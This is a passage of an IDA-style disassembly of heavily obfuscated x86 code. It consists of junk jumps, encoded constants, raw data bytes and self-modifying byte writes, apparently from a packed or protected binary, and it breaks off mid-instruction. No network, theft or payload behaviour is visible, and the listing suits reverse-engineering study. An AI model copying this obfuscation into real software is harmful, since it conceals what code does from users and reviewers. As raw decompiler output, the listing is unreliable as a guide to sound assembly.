db 0 db 0E9h ; é db 0B5h ; µ db 1 db 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028AC5 loc_10026FD0: ; CODE XREF: sub_10028AC5-A3Bj jmp loc_10029717 ; END OF FUNCTION CHUNK FOR sub_10028AC5 ; --------------------------------------------------------------------------- db 2 dup(0), 81h ; CODE XREF: sub_10027795:loc_10029403j ; --------------------------------------------------------------------------- retf 79B1h ; --------------------------------------------------------------------------- mov bh, 0EFh test edx, 10000000h jmp loc_10028298 ; --------------------------------------------------------------------------- dd 14870000h, 53FE924h, 58D0000h, 10027127h, 51C300C6h dd 0C87CB8Bh, 0FE416824h, 9CE9B8F2h, 0Dh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_1002700D: ; CODE XREF: sub_100279AD+12D3j sbb edx, ebx jmp loc_1002969E ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- dd 0C300C600h, 7E616856h, 37E91002h, 0Eh, 2BF72B00h, 0E08199C7h ; CODE XREF: _3a14gzkz:loc_100289ECj dd 0A5835A2h, 61AF6850h, 0E958C5E0h, 0E0Bh, 8EC6F700h dd 0E91C3042h, 2480h, 5B241C87h, 1237E850h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100289FE loc_10027054: ; CODE XREF: _3a14gzkz:loc_10028509j ; sub_100289FE:loc_10028D31j xchg ecx, es:[esp] push dword ptr [ebp+8] call sub_10027DF2 ; END OF FUNCTION CHUNK FOR sub_100289FE ; --------------------------------------------------------------------------- dd 0F2810000h, 0EB560B1Fh, 0B5E8D503h db 18h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029789 loc_1002706F: ; CODE XREF: sub_10029789+8j jmp loc_10028B82 ; END OF FUNCTION CHUNK FOR sub_10029789 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002812C loc_10027076: ; CODE XREF: sub_1002812C-132Dj jmp locret_10028C0C ; END OF FUNCTION CHUNK FOR sub_1002812C ; =============== S U B R O U T I N E ======================================= sub_1002707B proc near ; CODE XREF: _3a14gzkz:10027C58j ; _3a14gzkz:loc_10027CE3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100272A9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1002767C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10027B00 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100296F1 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebp, [esp-4+arg_0] mov ecx, ebp pop ebp xchg ebx, [esp-8+arg_4] mov esi, ebx jmp loc_100272A9 sub_1002707B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 243C8700h, 8B992C5Fh, 0C8E9FC55h, 8, 0F0000C3h, 2C98Dh dd 0D9E90000h, 0 dd 810BC6C1h, 0D4C133CDh, 0C9F0811Fh, 0E9F03C17h, 2AEh dd 0C30000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100270C8: ; CODE XREF: sub_1002781D-924j jmp loc_100296DB ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- db 2 dup(0), 9Dh ; --------------------------------------------------------------------------- xchg ebx, [esp] call eax jmp loc_1002752A ; --------------------------------------------------------------------------- dw 0F00h dd 0C4C8Dh, 0BCDC100h, 42E9F12Bh, 0Ch, 8B07C600h ; --------------------------------------------------------------------------- pop edi push ebp mov ebp, esp jmp loc_1002982E ; --------------------------------------------------------------------------- db 2 dup(0), 81h dd 6720DEF2h, 0C70E9EDh, 0E8580000h, 0FFFFFC43h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029160 loc_1002710E: ; CODE XREF: sub_10029160+6j mov byte ptr [ebx], 0C3h pop ebx push 4E2CF4B3h pop edi jmp loc_10028B59 ; END OF FUNCTION CHUNK FOR sub_10029160 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND] align 10h loc_10027120: ; CODE XREF: _3a14gzkz:100276E8j jmp locret_10028225 ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; DATA XREF: _3a14gzkz:10027A49o ; --------------------------------------------------------------------------- rcl ah, 1 fsubr st(5), st pop eax push offset loc_100287EA jmp locret_10026ED6 ; --------------------------------------------------------------------------- align 4 locret_10027138: ; CODE XREF: _3a14gzkz:1002900Cj retn ; --------------------------------------------------------------------------- align 2 loc_1002713A: ; CODE XREF: _3a14gzkz:100292C1j jmp loc_100288A6 ; --------------------------------------------------------------------------- align 10h dd 241C8700h, 689C535Bh, 20994E0Fh, 8B242C87h, 0A3E95DDDh ; CODE XREF: _3a14gzkz:1002833Ap dd 14h, 8118C6C1h, 0E6838BEEh, 0FEC6810Dh, 0E945FA12h dd 2271h, 0B9F98100h, 0E95D25D1h, 434h db 0 ; --------------------------------------------------------------------------- loc_10027179: ; DATA XREF: sub_10027949+6o popf push ecx push offset loc_10027F13 jmp locret_1002771A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 push edx mov edx, offset word_1002772A jmp loc_1002956E ; --------------------------------------------------------------------------- db 51h dd 27C0FB9h, 0F36E910h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10029160 loc_1002719E: ; CODE XREF: sub_10029160:loc_10026CF2j rol edx, 3 call sub_10027810 ; END OF FUNCTION CHUNK FOR sub_10029160 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_100271A8: ; CODE XREF: _3a14gzkz:10028892j push ebx mov ebx, ebp push edx mov edx, offset loc_100297F4 jmp loc_10027962 ; --------------------------------------------------------------------------- align 4 push eax push 0BDF30E27h pop eax sub eax, 44E42F59h xor eax, 1689DA69h add esi, eax jmp loc_10028334 ; --------------------------------------------------------------------------- align 4 loc_100271D4: ; CODE XREF: _3a14gzkz:100297BCj mov byte ptr [edi], 8Bh xchg esi, [esp] mov edi, esi pop esi xchg ebx, [esp] jmp loc_100284FF ; --------------------------------------------------------------------------- db 2 dup(0), 1Bh ; --------------------------------------------------------------------------- retf 22E9h ; --------------------------------------------------------------------------- db 6 dd 0C3000000h, 1032E900h, 0 ; --------------------------------------------------------------------------- add ebx, 0B90EFABEh mov [ebx], eax pop ebx jmp loc_1002915A ; --------------------------------------------------------------------------- loc_10027206: ; DATA XREF: _3a14gzkz:10026E8Co lea eax, byte_10028707 push edi mov edi, ecx xchg edi, [esp] jmp loc_10027C6D ; --------------------------------------------------------------------------- loc_10027217: ; CODE XREF: _3a14gzkz:loc_10027962j push offset loc_100297ED jmp loc_100293D6 ; --------------------------------------------------------------------------- loc_10027221: ; CODE XREF: _3a14gzkz:1002729Ej jge near ptr byte_10028F8E mov edi, 3E9C97F7h jmp loc_100274A4 ; --------------------------------------------------------------------------- loc_10027231: ; CODE XREF: _3a14gzkz:100292F2j jl loc_10027F8A rol eax, 14h xchg ecx, eax loc_1002723C: ; CODE XREF: _3a14gzkz:loc_100291C9j sub edx, 9A4DB812h jmp loc_10028B38 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 87h dd 25C6E9F3h, 0BD000000h, 96FF9241h, 6EE92B8Bh, 0Bh, 0F4B9D081h dd 0E2E93748h, 0FFFFFAh, 0B9E9C28Bh, 0Eh db 0 ; =============== S U B R O U T I N E ======================================= sub_10027275 proc near ; CODE XREF: sub_10027AB8-190j ; _3a14gzkz:loc_10028E4Aj var_4 = dword ptr -4 push ebp mov ebp, edx xchg ebp, [esp+4+var_4] push esi mov esi, edi call sub_100279AD loc_10027283: ; CODE XREF: _3a14gzkz:100288AEj mov ebp, [ecx] loc_10027285: ; CODE XREF: _3a14gzkz:loc_100288A6j xor edi, 0F1021FE1h call loc_1002981A add [ecx-435B651Ah], al retn 0EA81h ; CODE XREF: _3a14gzkz:loc_10028298j sub_10027275 endp ; --------------------------------------------------------------------------- mov ch, 99h fdivr qword ptr [edi+68h] jns short loc_10027221 add dl, [eax] jmp loc_100277E4 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_100272A9: ; CODE XREF: sub_1002707B+Fj xchg edx, [esp-8+arg_4] mov ebx, edx pop edx push 0D64DC404h jmp loc_100296F1 ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_100272BD: ; DATA XREF: sub_10028E0A:loc_1002910Bo add ebx, ebp add ebx, 30E9E5B9h mov [ebx], eax jmp loc_100289AE ; --------------------------------------------------------------------------- dd 0E8330000h, 0E90ECFC1h, 2312h, 1DE9C100h, 0EE9D033h ; CODE XREF: _3a14gzkz:10028B08j dd 3, 0E9D18B00h, 1208h, 2CE8AC00h, 0FFFFFAh, 232CE9h dd 0E9000000h, 19EAh, 211E8C0Fh, 34870000h, 890F5E24h dd 13CEh, 73ED058Dh, 0E9551002h, 12D8h, 0F101F181h, 0B7E9F6A7h dd 8700000Ch, 359240Ch, 71F868DDh, 0B8E91002h, 0FFFFFEh dd 0B370CB81h, 0D8851747h, 489E9h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A66 loc_10027347: ; CODE XREF: sub_10028A66:loc_10028B93j mov edi, ebp pop ebp push offset loc_100276CB jmp loc_10029151 ; END OF FUNCTION CHUNK FOR sub_10028A66 ; --------------------------------------------------------------------------- loc_10027354: ; CODE XREF: _3a14gzkz:10028D1Fj push offset word_1002898E jmp locret_10028798 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_1002735F proc near ; CODE XREF: sub_1002781D:loc_10028C07p arg_0 = byte ptr 4 ; FUNCTION CHUNK AT 1002776F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10028AEB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10028D2B SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] inc edx ror byte ptr [edi], 85h or ebx, ds:47E90000h adc al, [eax] add [ecx+6C7478C0h], al db 65h xor eax, 8F6F8437h add eax, ebp add eax, 29F0183Ch push ecx adc ecx, edx jmp loc_10028AEB sub_1002735F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 358Bh dd offset off_10027B44 dd 0EB718D68h, 242C87C9h, 815DCD8Bh, 6B8954E1h, 6DA068E3h dd 0F0E91002h, 0FFFFF9h ; =============== S U B R O U T I N E ======================================= sub_100273B0 proc near ; DATA XREF: sub_10028ED3:loc_1002804Bo var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10027A3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10027E8A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10028069 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002825E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10028487 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100287A0 SIZE 00000005 BYTES push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] mov ecx, offset loc_10027A4F jmp loc_10028069 sub_100273B0 endp ; --------------------------------------------------------------------------- push offset dword_100280E4 jmp loc_1002914B ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_100273CB proc near ; CODE XREF: sub_10027810:loc_10029843p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100292C7 SIZE 00000010 BYTES xchg eax, [esp+0] pop eax mov byte ptr [edx], 29h pop edx jmp loc_100292C7 sub_100273CB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_100273D8: ; CODE XREF: _3a14gzkz:10028257j push offset loc_1002858F jmp loc_100293AE ; --------------------------------------------------------------------------- dw 0C300h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10026F69 loc_100273E6: ; CODE XREF: sub_10026F69+7j jmp nullsub_226 ; END OF FUNCTION CHUNK FOR sub_10026F69 ; --------------------------------------------------------------------------- align 4 dd 6CDA6800h, 0D7E91002h, 1, 2DBF5000h, 0E9F7273Ah, 4A2h ; DATA XREF: _3a14gzkz:loc_10029389w ; _3a14gzkz:10029390w dd 0C63B0000h, 1C3CE9h, 810F0000h, 0FBBh, 3DBE9h, 0CF810000h dd 44D213CDh, 4120C781h, 0E7815344h, 1D5B700Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100279AD loc_1002742C: ; CODE XREF: sub_100279AD:loc_10028C7Aj add edi, 0F6E856C1h jmp loc_10028DC6 ; END OF FUNCTION CHUNK FOR sub_100279AD ; --------------------------------------------------------------------------- loc_10027437: ; CODE XREF: _3a14gzkz:100285F4j mov ebp, ecx xchg ebp, [esp] push 5C901A3h pop ecx xor ecx, 6C18AD0Ah sub ecx, 0CFE91F9Ch add ecx, 7619FDA6h jmp loc_100275A5 ; --------------------------------------------------------------------------- db 2 dup(0), 0Fh dd 0D8981h, 24348700h, 8B241487h, 1EC8E9F2h, 850F0000h dd 0A3Eh ; --------------------------------------------------------------------------- loc_10027474: ; CODE XREF: sub_10029160-641p xchg esi, [esp] pop esi add edi, 242EC2BBh call sub_10027586 add [ebx+68h], bl ; CODE XREF: sub_10027AC8:loc_10028EF1j db 26h jnp short loc_1002748B adc cl, ch loc_1002748B: ; CODE XREF: _3a14gzkz:10027486j xchg eax, esp push es ; --------------------------------------------------------------------------- db 3 dup(0) dd 7E036800h, 4CE91002h, 0Eh, 0DE92B89h, 0FFFFF9h ; --------------------------------------------------------------------------- loc_100274A4: ; CODE XREF: _3a14gzkz:1002722Cj xchg edi, [esp] loc_100274A7: ; CODE XREF: _3a14gzkz:loc_1002954Bj xchg edx, [esp] mov edi, edx pop edx or eax, eax jmp loc_100280AA ; --------------------------------------------------------------------------- dd 830F0000h, 23DAh, 0C5E9h, 9C000000h, 9A9D1868h, 0E181592Ah dd 0BD2C6830h, 8114C1C1h, 0D53BC3E1h, 54BF57C9h, 0E9100270h dd 19B0h ; --------------------------------------------------------------------------- loc_100274E4: ; CODE XREF: _3a14gzkz:10028AFBj jno loc_1002768E shl edx, 3 jge loc_100278FD loc_100274F3: ; CODE XREF: _3a14gzkz:loc_100282EDj jmp loc_10028491 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_100274FA: ; CODE XREF: _3a14gzkz:loc_100280AAj retn ; --------------------------------------------------------------------------- align 4 jmp loc_10028B02 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_10027C41 loc_10027502: ; CODE XREF: sub_10027C41+15ACj push eax jmp loc_10028581 ; END OF FUNCTION CHUNK FOR sub_10027C41 ; --------------------------------------------------------------------------- loc_10027508: ; CODE XREF: _3a14gzkz:10027A34j sub ecx, 7C9FF87Bh add ecx, 0F76C802Bh popf xchg ecx, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028A10 loc_10027519: ; CODE XREF: sub_10028A10+Cj jmp loc_10028622 ; END OF FUNCTION CHUNK FOR sub_10028A10 ; --------------------------------------------------------------------------- dw 1092h ; --------------------------------------------------------------------------- jmp loc_1002906D ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- locret_10027527: ; CODE XREF: _3a14gzkz:loc_1002861Dj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_1002752A: ; CODE XREF: _3a14gzkz:100270D5j jmp loc_10027DF8 ; --------------------------------------------------------------------------- align 10h dd 189EE900h, 0 ; --------------------------------------------------------------------------- xor ebx, 0E19C9B6Bh jmp sub_100289FE ; --------------------------------------------------------------------------- loc_10027543: ; DATA XREF: sub_1002812C+162Fo add edx, eax rol edx, 3 xor edx, eax loc_1002754A: ; DATA XREF: sub_1002812C:loc_1002877Co dec ecx jnz loc_10029225 jmp loc_1002760D ; --------------------------------------------------------------------------- dw 0F00h dd 22718Ch, 23000000h, 225CE9DEh, 0C6000000h, 875B8B03h ; CODE XREF: sub_10028B63:loc_10027BA8j dd 0F08B2404h, 75F68158h, 0C1E5122Bh, 0EE8115C6h, 0D27C8737h dd 0E36E9h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_10027586 proc near ; CODE XREF: _3a14gzkz:1002747Ep xchg ecx, [esp+0] pop ecx push offset byte_1002832B jmp nullsub_179 sub_10027586 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002883B loc_10027595: ; CODE XREF: sub_1002883B+10j mov edx, [eax] call sub_10028ED3 ; END OF FUNCTION CHUNK FOR sub_1002883B ; --------------------------------------------------------------------------- dd 38E90000h, 13h ; CODE XREF: sub_10027CEA+30j db 0 ; --------------------------------------------------------------------------- loc_100275A5: ; CODE XREF: _3a14gzkz:10027454j jmp loc_10029487 ; --------------------------------------------------------------------------- align 4 jz loc_100290AB ; =============== S U B R O U T I N E ======================================= sub_100275B2 proc near ; CODE XREF: _3a14gzkz:10028B54p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10028057 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028601 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1002903F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100290A4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 100295D3 SIZE 00000013 BYTES xchg ecx, [esp+0] pop ecx push 5F384919h jmp loc_100290A4 sub_100275B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 5300C300h, 28C41BBh, 4ABE910h, 0C30000h, 939EC381h ; CODE XREF: _3a14gzkz:loc_10028DBFj ; DATA XREF: _3a14gzkz:10029397w dd 1C8707E1h, 779E924h, 63B80000h, 9100193h, 0D840FC0h dd 0E9000008h, 1B16h db 0 ; --------------------------------------------------------------------------- loc_100275F1: ; CODE XREF: _3a14gzkz:loc_10028B02j push offset loc_10026DC1 jmp loc_10026DE8 ; --------------------------------------------------------------------------- loc_100275FB: ; CODE XREF: _3a14gzkz:1002931Bj retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100275FD: ; CODE XREF: _3a14gzkz:10027BC5j call sub_10029627 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND] dd 1B3FE900h db 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_217. PRESS KEYPAD "+" TO EXPAND] align 4 db 0 ; --------------------------------------------------------------------------- loc_1002760D: ; CODE XREF: _3a14gzkz:10027551j jmp loc_10028A49 ; --------------------------------------------------------------------------- align 4 loc_10027614: ; DATA XREF: sub_100286F4-306o add eax, 0FCDF3D5h popf xchg eax, [esp] jmp loc_10027970 ; --------------------------------------------------------------------------- align 4 dd 8CAE900h, 0E9000000h, 896h, 5B241C87h, 9CE88158h, 816CB803h dd 0B2851C0h, 2404875Bh, 0FFF7C6E9h, 348700FFh, 24148724h dd 0E95AF28Bh, 16A8h, 68530000h, 19112B2Ch, 79EB815Bh dd 81D69ECCh, 3924ABF3h, 1FC38180h, 344837Ah, 4DEE9DDh dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002707B loc_1002767C: ; CODE XREF: sub_1002707B+A91j sub eax, 0D94B3F07h or eax, 8BE0B987h sub eax, 4BDE95FBh loc_1002768E: ; CODE XREF: _3a14gzkz:loc_100274E4j add eax, 0ABFC51D4h call sub_10029734 add cl, ch ; CODE XREF: _3a14gzkz:100293F7j int 3 ; Trap to Debugger pop ss ; END OF FUNCTION CHUNK FOR sub_1002707B ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h db 0 ; --------------------------------------------------------------------------- loc_100276A1: ; CODE XREF: _3a14gzkz:10026D0Dj mov byte ptr [esi], 87h push eax mov eax, offset loc_100291EA jmp loc_1002778F ; --------------------------------------------------------------------------- align 10h dd 0E6E28100h, 0D1CE23E5h, 0C8830FC2h, 0F00000Fh, 5B38Bh dd 1110E900h db 3 dup(0) ; --------------------------------------------------------------------------- loc_100276CB: ; DATA XREF: sub_10028A66-171Co pushf push 373DAE1Bh xchg ecx, [esp] mov eax, ecx pop ecx sub eax, 0A642A920h jmp loc_10027A9E ; --------------------------------------------------------------------------- dw 6800h dd offset byte_100289F3 ; --------------------------------------------------------------------------- jmp loc_10027120 ; --------------------------------------------------------------------------- align 2 loc_100276EE: ; DATA XREF: sub_100276FC+3o pop ecx pushf push offset loc_10027A22 jmp loc_100277C8 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100276FC proc near ; CODE XREF: _3a14gzkz:10027CBCj ; _3a14gzkz:loc_10029066p ; FUNCTION CHUNK AT 100289B4 SIZE 00000005 BYTES xchg ecx, [esp+0] push offset loc_100276EE jmp loc_100289B4 sub_100276FC endp ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_10028A3B loc_1002770A: ; CODE XREF: sub_10028A3B+7j call sub_10028150 add cl, ch pop ecx or [eax], al add cl, ch ; CODE XREF: _3a14gzkz:loc_1002972Ej sar ecx, cl ; END OF FUNCTION CHUNK FOR sub_10028A3B ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- locret_1002771A: ; CODE XREF: _3a14gzkz:10027180j retn ; --------------------------------------------------------------------------- loc_1002771B: ; CODE XREF: _3a14gzkz:10028DFFj jmp locret_100291C6 ; --------------------------------------------------------------------------- dd 0D71B0000h, 5F243C87h db 3Ch, 0A4h word_1002772A dw 8570h ; DATA XREF: _3a14gzkz:10027189o dd 7, 0FFF60CE9h, 870000FFh, 2BE9242Ch, 1 ; --------------------------------------------------------------------------- loc_10027740: ; DATA XREF: _3a14gzkz:1002974Bo push 3AD50936h pop edx xor edx, 490E0DFCh add edx, 159F787h cmp edx, 395A605Bh jmp loc_1002896E ; --------------------------------------------------------------------------- align 2 loc_1002775E: ; CODE XREF: _3a14gzkz:10027C78j mov byte ptr [esi], 0C6h pop esi pop ecx xor ecx, 0DA4CA5C8h jmp loc_10028E8D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002735F loc_1002776F: ; CODE XREF: sub_1002735F:loc_10028D2Bj mov byte ptr [ecx], 8Bh pop ecx call sub_10027949 add [edi], cl or [esp+edx-4+arg_0], 0 add cl, ch push ss or al, 0 ; END OF FUNCTION CHUNK FOR sub_1002735F ; --------------------------------------------------------------------------- db 0 dd 33890000h, 0FFF8BBE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] locret_1002778E: ; CODE XREF: _3a14gzkz:10026E91j retn ; --------------------------------------------------------------------------- loc_1002778F: ; CODE XREF: _3a14gzkz:100276AAj jmp loc_100280CE ; --------------------------------------------------------------------------- cdq ; =============== S U B R O U T I N E ======================================= sub_10027795 proc near var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10027992 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10029403 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push eax mov eax, edx xchg eax, [esp+0] jmp loc_10027992 sub_10027795 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_100277A5: ; CODE XREF: _3a14gzkz:loc_100294B0j ; _3a14gzkz:100294BEj call sub_10029499 add cl, ch ; CODE XREF: sub_100283CF+Aj add al, 0Bh ; --------------------------------------------------------------------------- dw 0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_100277B2: ; DATA XREF: sub_10026C78+4o add edx, eax rol edx, 3 call sub_1002812C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND] align 2 loc_100277BE: ; CODE XREF: _3a14gzkz:10028376j jmp near ptr word_10026C86+1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002781D loc_100277C3: ; CODE XREF: sub_1002781D+AEBj jmp loc_10028C07 ; END OF FUNCTION CHUNK FOR sub_1002781D ; --------------------------------------------------------------------------- loc_100277C8: ; CODE XREF: _3a14gzkz:100276F5j jmp near ptr dword_10027090+10h ; --------------------------------------------------------------------------- align 2 jbe loc_10028860 loc_100277D4: ; CODE XREF: _3a14gzkz:loc_10029208j sub edi, 186E8AC5h call sub_100288C7 ; START OF FUNCTION CHUNK FOR sub_1002812C loc_100277DF: ; CODE XREF: sub_1002812C+1634j jmp nullsub_225 ; END OF FUNCTION CHUNK FOR sub_1002812C ; --------------------------------------------------------------------------- loc_100277E4: ; CODE XREF: _3a14gzkz:100272A2j jmp locret_10028170 ; --------------------------------------------------------------------------- align 2 add edi, esi mov edi, [esi] jmp sub_1002883B ; --------------------------------------------------------------------------- align 4 dd 5E243487h, 9DC69F68h, 0C2815A19h, 0DD56B14h, 1B4890Fh dd 0E9000000h, 955h ; =============== S U B R O U T I N E ======================================= sub_10027810 proc near ; CODE XREF: sub_10029160-1FBFp arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100279DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10027F40 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10028AE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10029843 SIZE 00000006 BYTES xchg eax, [esp+0] pop eax xor edx, eax dec ecx jmp loc_10027F40 sub_10027810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_1002781D proc near ; CODE XREF: sub_10028EFA-911p ; FUNCTION CHUNK AT 10026E77 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10026EE4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10026F8C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100270C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100277C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027B6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10027DCD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100282F8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 10028576 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100285AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100286D2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028B99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10028C07 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100296DB SIZE 00000013 BYTES xchg esi, [esp+0] loc_10027820: ; CODE XREF: _3a14gzkz:loc_10027F7Ej xchg ebp, [esp+0] mov esi, ebp pop ebp push esi mov esi, edx xchg esi, [esp+0] push edi jmp loc_10028B99 sub_1002781D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8100h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- lds ecx, [ebx] xor ecx, edi call sub_10028A3B jmp loc_100292A8 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028ED3 loc_10027845: ; CODE XREF: sub_10028ED3+2B6j push 77E9BD14h js loc_1002982E loc_10027850: ; CODE XREF: sub_10028ED3:loc_10029320j push esi push edx pop esi jmp loc_10028189 ; END OF FUNCTION CHUNK FOR sub_10028ED3 ; --------------------------------------------------------------------------- dd 1C870000h, 24048724h, 0E958D88Bh, 0AA7h, 59550000h dd 8B243C87h, 0BB535FEFh, 10027B9Fh, 17DEE9h, 0E9DF0B00h dd 0FFFFFC0Dh ; --------------------------------------------------------------------------- loc_10027884: ; CODE XREF: _3a14gzkz:loc_10026ED8j mov byte ptr [esi], 8Bh pop esi xchg edx, [esp] mov eax, edx pop edx add eax, 0DB988541h push offset dword_10026EAC jmp loc_10028660 ; --------------------------------------------------------------------------- dw 0B00h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp sub_100286F4 ; --------------------------------------------------------------------------- xchg edi, [esp] pop edi call ds:dword_1001E0C0 ; ExitProcess push edi jmp loc_10027DBA ; --------------------------------------------------------------------------- dw 8B00h ; --------------------------------------------------------------------------- jnz short $+2 sub eax, edx jmp sub_100283CF ; --------------------------------------------------------------------------- align 2 sub esi, 21E10240h add esi, 32B4A192h call sub_10026F69 loc_100278D3: ; CODE XREF: _3a14gzkz:1002926Bj jmp loc_100293F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10028EB5 loc_100278D8: ; CODE XREF: sub_10028EB5+18j or eax, 0DF85A4E0h and eax, 0C6CFACF3h add eax, 493C347Ch ; END OF FUNCTION CHUNK FOR sub_10028EB5 ; START OF FUNCTION CHUNK FOR sub_10028DD4 loc_100278EA: ; CODE XREF: sub_10028DD4:loc_10028A92j call sub_1002883B ; END OF FUNCTION CHUNK FOR sub_10028DD4 ; --------------------------------------------------------------------------- db 0 dd 0F27E900h, 0 ; --------------------------------------------------------------------------- loc_100278F8: ; CODE XREF: _3a14gzkz:10026F64j jmp near ptr dword_10026E10+4Bh ; --------------------------------------------------------------------------- loc_100278FD: ; CODE XREF: _3a14gzkz:100274EDj cdq jmp loc_10029097 ; --------------------------------------------------------------------------- align 4 xchg esi, 